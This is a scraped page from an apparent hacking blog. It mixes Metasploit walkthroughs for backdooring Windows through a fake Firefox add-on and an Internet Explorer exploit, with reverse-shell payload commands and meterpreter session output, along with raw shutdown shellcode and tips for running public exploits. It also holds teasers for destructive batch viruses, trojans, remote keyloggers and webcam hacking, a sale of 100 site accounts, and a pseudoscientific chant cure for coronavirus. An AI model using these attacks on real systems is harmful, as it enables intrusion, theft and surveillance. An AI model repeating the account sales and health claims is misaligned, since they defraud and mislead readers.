Crack Rule

All the hackers are Welcome. Please contribute your support to make this blog one of the top latest hacking trick adda.

Showing posts with label advance hacking. Show all posts

Hack the Corona Virus Genes From OM dhwani (Music)

Posted by Nehul Agrawal

Its a long time since people are lockdown into their houses. Cities are wiped out. People are poorly infected. In this difficult situation and time, people need a simple solution to get rid of this problem.

From the over time, years and years before, the "OM" word has been a big word. It is meant to connect in the form of medication and old religious people use to use this word more often On this same concept this lady in her YouTube video explained the same concept you can visit this :

Even in the movie "The Secret" they have mentioned about the same concept of keeping and thinking positive things will make things positive around you.

Hacking is not just always about computer. It can be your life as well, the way you keep it simple and yet modern is now a days key to protect yourself from such a disaster.

I hope this video will help million's of people and commonly available on multiple blogs. Stay focused and stay tunned for all CroronaVirus related updates.

For the updates related to CoronaVirus follow this amazing website https://www.imcoronasafe.com

Thank you!

Free Facebook Fan Page likes or Free facebook likes

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , Code/Script , Facebook , YouTube , 0 comments

Hello Guys here today a new trick is evolved for you to get free Facebook likes, YouTube views, twitter follower, Dig followers, LinkedIn followers, and much more in just a small package and free of cost I know you guys must be shocked. But it’s really true it’s all free. Watch the video down below to see the Trailer and full movie you can see on http://freefanlovers.mylearnia.com.

100 Jambase(JamBase.com) accounts

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , 0 comments

Friends you all know about a best music based website. I have 100 jam base 100% working accounts. From which some of them have Photos too. If you want to have those accounts then it wont cost you much its only $10 for 100 JamBase accounts. I have only 100 accounts so make Hurry Up!!!

As you guys might already know that jam base is having its alexa ranking 10,000 and doing great from there side. So if any of you are having a sound freeky or want to have fans on your JamBase account then start following us.

For more details Contact me at nehul.splendit@gmail.com or info@mylearnia.com

DOM Based Cross Site Scripting(XSS) vulnerability Tutorial

Posted by Nehul Agrawal

Labels: advance hacking , Vulnerability Tutorial , 0 comments

So far i have explained about the Traditional Cross site scripting that occurs because of insecure server-side code. In this post , i am going to explain the DOM Based Cross Site Scripting vulnerability. if you don't what cross site scripting is, then i recommend you to read the basics from here.
Before explaining about the DOM based xss, let me explain what DOM is.
DOM is expanded as Document object model that allows client-side-scripts(Eg: Javascript) to dynamically access and modify the content, structure, and style of a webpage.
Like server-side scripts, client-side scripts can also accept and manipulate user input with the help of DOM.

Here is a very simple HTML code that accepts and writes user input using JavaScript with the help of DOM.

How to Use Ravan for Password Cracking?

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , 0 comments

How to Use Ravan for Password Cracking? In my previous article, i explained about the Ravan Tool. Now let us see how to use the Ravan for cracking passwords. Ravan is Distributed password cracking method. So you will need lot of friends who have Pc with Internet connection. The speed of cracking will increase based on the number of pc contribute in the cracking.

Step1:

CVE-2012-2122: Exploiting authentication bypass vulnerability in MySQL and MariaDB

Posted by Nehul Agrawal

Labels: advance hacking , 0 comments

The news about the vulnerability in MySQL and MariaDB spreads like a wild fire. I have covered about this vulnerability in E Hacking news as news article. Here, i am going to share the same thing from the perspective of a penetration tester.
The MySQL and MariaDB versions 5.161,5.2.11,5.3.5 and 5.5.c2 are affected version.

The vulnerability allows an attacker to access MySQL database without inputing proper authentication credentials. The vulnerability can only exploited if MySQL was built on a system where the memcmp() function can return values outside the -128 to 127 range.

Hacking Windows 7 & Xp with Fake Firefox add-on (XPI) : Metasploit Tutorials

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , 0 comments

Hello BTS readers, i believe you enjoyed my last tutorial ( Java AtomicReferenceArray type violation vulnerability and exploiting ). So here is second tutorial for you ! In this tutorial i am going to explain how to hack any windows machine(xp,7) with the help of Metasploit.
Unlike last tutorial, we are not going to exploit any kind of vulnerabilities. We are going to use Social Engineering technique instead.

What exactly i am going to do?!
Create a fake firefox extension with Metasploit that creates a backdoor from the victim system.Trick users into installing the add-onBreak into the Target Machine.Pre-configuration:
As usual, you have to set up two virutal machines(VM ) in your virtualbox namely "Target" and "Attacker".Install the windows xp or 7 in the Target VM.Install the Backtrack in the Attacker VM.need help in configuring the VM?! you can read this tutorial "Set up pentesting lab".
Part I: Update the Metasploit
As we are going to use the latest module, you are advised to update the Metasploit modules. Don't know how to do this? No need to worry!
Open the Terminal type msfupdateThis will update the Metasploit with latest modules :)Part II: Configuring settings in Metasploit for the fake-addon exploit
Step 1:
Open the Terminal and type "msfconsole" to get the Metasploit console.
Type "use exploit/multi/browser/firefox_xpi_bootstrapped_addon" in the console.Now we have to know the list of settings available for this exploit module. In order to get the list , you can type "show options" in the console.

Unlike the last tutorial, this module has an extra settings for the module namely "addonname".

Let us configure the setting for the exploit.type the highlighted commands one by one in the consoleDetails: Name for the fake add-on. you can change the "fake" to any name.Command:set SRVHOST 192.168.56.11 Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal. If you have trouble in getting the ip details, please drop your comment or read my previous post.

Details: Our server is going to be accessed via the port 80(default port)Details: The path in which the fake add-on will be available to download. For ex: http://192.168.56.11/fakeEx
Command: set LHOST 192.168.56.11 Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.
Step 5: Payload

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:set payload windows/meterpreter/reverse_tcpPart III: Social Engineering Attack
Successfully configured the settings for the exploit, what else?! let us launch the exploit.
Type "exploit" in the console.
Now the exploit is started. Our fake add-on is available at, "http://192.168.56.11/fakeEx".

Once victim visit the link, it will ask user to install the add-on in order to view the page. Once user install the add-on, the system will be backdoor-ed.

Now , You can control the victim system from meterpreter.

Countermeasures:
I believe you understand the risks of installing the add-on from unknown sources. So, think twice before installing add-on . Always use trusted add-on. Search in the google for review about the add-on.
Disclaimer:
The article given here is educational purpose only. We suggest you to try this method in a controlled virtualbox environment. We are not responsible for your illegal activity.

Ravan , JavaScript based Distributed Password cracking

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , 0 comments

You want to crack a hash but your system speed is low?! No need to worry..! Here is solution for you , "Distributed Password Cracking". Let me introduce a new tool called "Ravan" developed by LavaKumar.

Ravan is a JavaScript based Distributed Computing system that can perform brute force attacks on salted hashes by distributing the task across several browsers. It makes use of HTML5 WebWorkers to start background JavaScript threads in the browsers of the workers, each worker computes a part of the hash cracking activity.

CVE-2012-1875 : Hacking windows using MS12-037 Internet Explorer Same ID Vulnerability

Posted by Nehul Agrawal

Labels: advance hacking , windows , 0 comments

Hi, Today i am going to explain how to hack the Windows system using the recent IE exploit. This article is intend to educate PenTesters. If you don't know what Penetration testing means, then please reads this article. Also please read the previous articles on Pen Testing. CVE-2012-1875 : MS12-037 Internet Explorer Same ID VulnerabilityMicrosoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing a deleted object, aka "Same ID Property Remote Code Execution Vulnerability." Two technologies in modern OS are used to make exploits of this sort harder: DEP (data execution prevention) and ASLR (address-space layout randomisation).
DEP is intended to prevent an application or service from executing code from a non-executable memory region. This helps prevent certain exploits that store code via a buffer overflow. (wiki)
ASLR loads software modules such as DLLs into memory at randomised locations. Moving system DLLs around makes it harder for hackers to guess where to find the library functions they need, such as URLDownloadToFile() and CreateProcess().
But DEP and ASLR don't make remote code execution attacks impossible -just trickier.
In the case of CVE-2012-1875, ASLR can be bypassed by trying to force Internet Explorer to find and load an old version of the Microsoft C runtime DLL - one which was compiled before ASLR become the norm, and
therefore doesn't support it. Whenever you load a non-ASLR DLL, even into an ASLR-enabled program, you can predict where it will end up.
And DEP is bypassed using a technique known as ROP, or return-oriented programming.

Requirements:
Target OS: XP3 Attacker OS : Backtrack or any PenTesting Distros As usual , you have to create two VMs in your VirtualBox. Preparing victim system:
Install the XP3 in one of the VM. Change the VM's Network adapter to the Host-only-adapter. (if you don't know what i am talking about, then please use this Virtualbox manual)
Preparing the Attacker system:
Update the Metasploit modules by entering the following command in Terminal:
msfupdate
Or you can download the 'ms12_037_same_id.rb' module and paste in this directory "/opt/metasploit/msf3/modules/exploits/windows/browser/"
Configuring settings for the exploit in Metasploit:
Open the Terminal and type "msfconsole" to get the Metasploit console.
Type " use exploit/windows/browser/ms12_037_same_id" in the console.
Now we have to know the list of settings available for this exploit module. In order to get the list , you can type "show options" in the console.
Command: set SRVHOST 192.168.56.10
Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.
Command: set URIPATH /
Details: The path in which our exploit will run.
As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:
set payload windows/meterpreter/reverse_tcp
Ok, let us launch the exploit. Type "exploit" in the console.

Now the exploit is started. Our exploit is running at "http://192.168.56.10:8080/". Once the victim loads the URL in his IE browser, you will get the following message in your metasploit console:

[*] Client requesting: /
[*] Using JRE ROP
[*] Sending html
[*] Sending stage (752128 bytes) to 192.168.56.12
[*] Meterpreter session 1 opened (192.168.56.10:4444 -> 192.168.56.12:1685)

Type "sessions" to list the active sessions . Type "sessions -i 1", this will open the connection to the session with the id '1' and bring you to Meterpreter. Now , You can control the victim system from computer using meterpreter.
For example:
'upload /Test.exe c:\\", this command will upload the Test.exe from the root('file system' dir) folder of the BT5 to the C drive of the Target.
'execute -f C:\\Test.exe", this command will run our uploaded File in the Target.

List of Best Ethical Hacking / Penetration Testing Tools

Posted by Nehul Agrawal

Labels: advance hacking , hacking tools , 0 comments

Here is list of useful and Best Software tools that helpful in Ethical Hacking and Penetration Testing, Forensics ...
Metsploit is a very Powerful PenTesting Tool . Metasploit Framework, a tool for developing and executing exploit code against a remote target machine. The Metasploit Project is also well known for anti-forensic and evasion tools, some of which are built into the Metasploit Framework. Very useful tool for Information Gathering, Vulnerability Scanning, Exploit Development, Client side exploits,...
Official site: http://www.metasploit.com/ WireShark is a free and best Network Packet Analyzer tool for UNIX and Windows. It is used for networking troubleshooting, Malware analysis and education.
Homepage: http://www.wireshark.org
Nmap("Network Mapper") Free Security Scanner For Network Exploration & Hacking.It is used to scan a network and gathers information about the target network including open ports,Services running in the host, OS information,packet filters/firewalls details, and more.
Official site: http://nmap.org/
JTR is free and fast password cracker. Its primary purpose is to detect weak Unix password.
Official site: www.openwall.com/john/ Audit your website security and web applications for SQL injection, Cross site scripting and other web vulnerabilities with Acunetix Web Security Scanner.
This tools is not free one ;(
Official Site: www.acunetix.com
Maltego is an open source intelligence and forensics application. It will offer you timous mining and gathering of information as well as the representation of this information in a easy to understand format.
Official site: www.paterva.com/ IronWASP (Iron Web application Advanced Security testing Platform) is an open source system for web application vulnerability testing. It is designed to be customizable to the extent where users can create their own custom security scanners using it. Though an advanced user with Python/Ruby scripting expertise would be able to make full use of the platform, a lot of the tool's features are simple enough to be used by absolute beginners.
Official site: http://ironwasp.org
HconSTF is very useful PenTesting tool. It is used for Information gathering,Enumeration & Reconnaissance,Vulnerability assessment, Exploitation,Privilege escalation,Reporting.
Official site: http://www.hcon.in

EttercapEttercap is a comprehensive suite for man in the middle attacks. It features sniffing of live connections, content filtering on the fly and many other interesting tricks. It supports active and passive dissection of many protocols and includes many features for network and host analysis.
Official site: http://ettercap.sourceforge.net/

If you think i left some tools, you can help me to add it.

How to DECRYPT PASSWORDS

Posted by Nehul Agrawal

Labels: advance hacking , 0 comments

Probably if you’re looking at this tutorial is because you don’t know how to decrypt passwords to download keylogger, rats, etc.

Okay my intentions of doing this tutorial are for noobs that doesn’t know how to decrypt passwords and they keep posting how I can decrypt the password.

First there are many ways that the people crypt password, examples:
U-ASCII Encode, T-ASCII Encode, F-ASCII Encode, AER-256 Encrypt, ARMON-64 Encrypt, ATOM-128 Encrypt, BASE-64 Encrypt, ESAB-46 Encrypt, EZIP-64 Encrypt, FERON-74 Encrypt, GILA7 Encrypt, HAZZ-15 Encrypt, MEGAN-35 Encrypt, OKTO3 Encrypt, TIGO-3FX Encrypt, TRIPO-5 Encrypt, ZARA-128 Encrypt, ZONG22 Encrypt.
All these types of encryptions are found at crypo.com

Aryan RAT v0.5

Posted by Nehul Agrawal

Labels: advance hacking , Cracked Software , hacking tools , 0 comments

Features:
Server Information:
-Displays Socket ID, UserName, User level, IP/Computer Name, OS/Service Pack version, RAM, CPU, Screen Resolution.
Client Side:
-UPnP. (Credits to Krippler and an article over at code project)
-Displays Connection Status, Ports listening, BandWidth usage, Total connections.
Server:
File Manager:
-Displays Drives and folders in a Tree view, and files in a listview.
-Delete, move, copy and paste files around the system and rename.

How To Hack Yahoo Webcam | How To Hack Other Person Webcam

Posted by Nehul Agrawal

Labels: advance hacking , Code/Script , Trick , 0 comments

After My post on Again PakCyberArmy Website Hacked By Indian Hackers

Today i am going to show you how to hack a yahoo webcam . This is my post at Dailyhackingtips Readers, I am very glad and happy to write it. I have heard a lots of people nowadays ask on How to Hack Yahoo Webcam so I am posting this hack. I hope you will really enjoy it

How To Make A Virus In C | Simple Virus Coding (Only for knowledge purpose)

Posted by Nehul Agrawal

Labels: advance hacking , Code/Script , 0 comments

**Run this on your own responsibility*/**

VIRUS CODE-1

IT DELETES THE MY DOCUMENTS FOLDER OF UR ENEMY.
HERE'S WHAT U SHOULD DO

OPEN NOTEPAD AND COPY-PASTE THE FOLLOWING CODE IN IT.
THEN SAVE THE FILE WITH WHATEVER NAME U LIKE BUT WITH BAT FILE Extention.
I MEAN SAVE IT LIKE VIRUS.BAT.
NOW IF U GIVE THIS TO SOMEONE AND IF HE RUNS THIS

How To Create trojan in a .bat file | Make your own trojan in a .bat file

Posted by Nehul Agrawal

Labels: advance hacking , Code/Script , 0 comments

Open a dos prompt we will only need a dos prompt , and windows xp…

-Basics-
Opening a dos prompt -> Go to start and then execute and write
cmd and press ok

Now insert this Command: net
And you will get something like this

How To Hack PC On Cyber Cafe | Hack A Closed Pc On Cyber Cafe

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , Code/Script , 0 comments

here is a quick new hack on how to intrude in the PC which is shut downed at Cyber cafe. (Don’t Forget to read our disclaimer at the bottom of the post.)

1. As you all must have know these days all Cyber cafe owners have a program for administration to control all PC’s in local area network. So all files can be inter transmitted.

How to Hack into forums

Posted by Nehul Agrawal

Labels: advance hacking , Code/Script , 1 comments

This is what you like to call “Hacking a forum”.
I call it “Cracking into a forum” … Learn what hacking means you, lol…
PS: I am hacking a forum slowly, everything i am doing now, is posted here by steps :
First of all, what you need is a forum to hack. For the sake of this tutorial, and for the safety of a specific site,

Installing a Keylogger on a Remote Machine

Posted by Nehul Agrawal

Labels: advance hacking , Basic Hacking Tutorials , Keylogger , 0 comments

Note: This article is for educational purpose only and the author won’t be responsible for any kind of damage caused by following the information given in this article.
Now to install a Keylogger on a Remote Computer you have to follow the steps given below:

First of all download Winspy keylogger software from link given below:

http://www.win-spy.com/
After downloading this software, run the .exe. You will b

Using exploits. Includes noob protection

Posted by Nehul Agrawal

Labels: advance hacking , Code/Script , 0 comments

ways to handle and compile exploits. Alot of exploits come with "noob protection". Noob protection being they will move or add sections of text or scramble a simple statement so people immediatly know that it shouldnt be that way. This protects against skiddies and noobs from getting and running the exploit. I will show you how to compile exploits with Dev C++ and run perl and php scripts. I will also include the entire remote library from milw0rm compiled in complete.

Downloads: dev c++, perl (win), perl (source), openSSL (win)

WSAStartup
Quote:
[linker error] undefined reference to `WSAStartup@8'
[linker error] undefined reference to `socket@12'

Open dev c++ options

DarkMindZ

in the main window will be a checkbox that says "Add the following commands when calling the compiler" type this in the box -lwsock32

DarkMindZ

press ok and compile again.
----

Using Shellcodes
you can generate shellcodes for metasploits projects with ease. here is one i made for this post







/* win32_exec -  EXITFUNC=seh CMD=shutdown -f -s Size=168 Encoder=PexFnstenvSub http://metasploit.com */

unsigned char scode[] =

"x31xc9x83xe9xdcxd9xeexd9x74x24xf4x5bx81x73x13xec"

"x94x52x85x83xebxfcxe2xf4x10x7cx16x85xecx94xd9xc0"

"xd0x1fx2ex80x94x95xbdx0exa3x8cxd9xdaxccx95xb9xcc"

"x67xa0xd9x84x02xa5x92x1cx40x10x92xf1xebx55x98x88"

"xedx56xb9x71xd7xc0x76x81x99x71xd9xdaxc8x95xb9xe3"

"x67x98x19x0exb3x88x53x6ex67x88xd9x84x07x1dx0exa1"

"xe8x57x63x45x88x1fx12xb5x69x54x2ax89x67xd4x5ex0e"

"x9cx88xffx0ex84x9cxb9x8cx67x14xe2x85xecx94xd9xed"

"xd0xcbx63x73x8cxc2xdbx7dx6fx54x29xd5x84x64xd8x81"

"xb3xfcxcax7bx66x9ax05x7ax0bxe7x3axf0x98xf0x3dxf2"

"x82xb4x7fxe3xccxb9x21x85";

you can use that code and replace the shellcode in any exploit that uses the shellcode. You can generate new shellcodes here: http://metasploit.com:55555/PAYLOADS First, select the payload you wish to use.

DarkMindZ

then type the command you want it to execute, then press "generate payload"

DarkMindZ

PostPosted: Fri Dec 28, 2007 4:46 pm Reply with quoteBack to top
I will discuss ways to handle and compile exploits. Alot of exploits come with "noob protection". Noob protection being they will move or add sections of text or scramble a simple statement so people immediatly know that it shouldnt be that way. This protects against skiddies and noobs from getting and running the exploit. I will show you how to compile exploits with Dev C++ and run perl and php scripts. I will also include the entire remote library from milw0rm compiled in complete.

Downloads: dev c++, perl (win), perl (source), openSSL (win)

WSAStartup
Quote:
[linker error] undefined reference to `WSAStartup@8'
[linker error] undefined reference to `socket@12'

Open dev c++ options

Image

in the main window will be a checkbox that says "Add the following commands when calling the compiler" type this in the box -lwsock32

Image

press ok and compile again.
----

Using Shellcodes
you can generate shellcodes for metasploits projects with ease. here is one i made for this post
Code:
/* win32_exec - EXITFUNC=seh CMD=shutdown -f -s Size=168 Encoder=PexFnstenvSub http://metasploit.com */
unsigned char scode[] =
"x31xc9x83xe9xdcxd9xeexd9x74x24xf4x5bx81x73x13xec"
"x94x52x85x83xebxfcxe2xf4x10x7cx16x85xecx94xd9xc0"
"xd0x1fx2ex80x94x95xbdx0exa3x8cxd9xdaxccx95xb9xcc"
"x67xa0xd9x84x02xa5x92x1cx40x10x92xf1xebx55x98x88"
"xedx56xb9x71xd7xc0x76x81x99x71xd9xdaxc8x95xb9xe3"
"x67x98x19x0exb3x88x53x6ex67x88xd9x84x07x1dx0exa1"
"xe8x57x63x45x88x1fx12xb5x69x54x2ax89x67xd4x5ex0e"
"x9cx88xffx0ex84x9cxb9x8cx67x14xe2x85xecx94xd9xed"
"xd0xcbx63x73x8cxc2xdbx7dx6fx54x29xd5x84x64xd8x81"
"xb3xfcxcax7bx66x9ax05x7ax0bxe7x3axf0x98xf0x3dxf2"
"x82xb4x7fxe3xccxb9x21x85";

you can use that code and replace the shellcode in any exploit that uses the shellcode. You can generate new shellcodes here: http://metasploit.com:55555/PAYLOADS First, select the payload you wish to use.

Image

then type the command you want it to execute, then press "generate payload"

Image

your shellcode should be printed out nicely for you.
- - -

Perl Exploits
If your using windows install this msi package. Lets use an example perl script from milw0rm. http://www.milw0rm.com/exploits/3661

save that exploit to your c: drive as a file called "3661.pl". This exploit justs generates an HTML file exploit, "exploit.html". Its that simple. But some exploits require you to have SSL installed. so you can grab that for windows at the top of this post with the other downloads. Some exploits may require you to pass "arguments" to the application, like this epxloit.

uh oh, noob protection?







syntax error at C:2552.pl line 47, near "print"

Execution of C:2552.pl aborted due to compilation errors.

well instantly i see the end of the line $vul=" is on has no ";" at the end of it. Put that in there so it looks like this







$host=$ARGV[0];

$path=$ARGV[1];

$vul="phpbb_security.php?phpbb_root_path=";

now save it and try again. YAY







C:>2552.pl



################################################## ########################

# #

# phpBB Security <= 1.0.1 Remote File Include Vulnerability # # Bug  found By : Ashiyane Corporation # # Email: nima salehi  nima[at]ashiyane.ir # # Web Site : www.Ashiyane.ir # # #  ##################################################  ########################  Usage: Ashiyane.pl [host] [path]

EX : Ashiyane.pl www.victim.com /path/

what happens in the first milliseconds of an http connection

Posted by Nehul Agrawal

Labels: advance hacking , Code/Script , 0 comments

In the 220 milliseconds that flew by, a lot of interesting stuff happened to make Firefox change the address bar color and put a lock in the lower right corner. With the help of Wireshark, my favorite network tool, and a slightly modified debug build of Firefox, we can see exactly what's going on.
By agreement of RFC 2818, Firefox knew that "https" meant it should connect to port 443 at Amazon.com: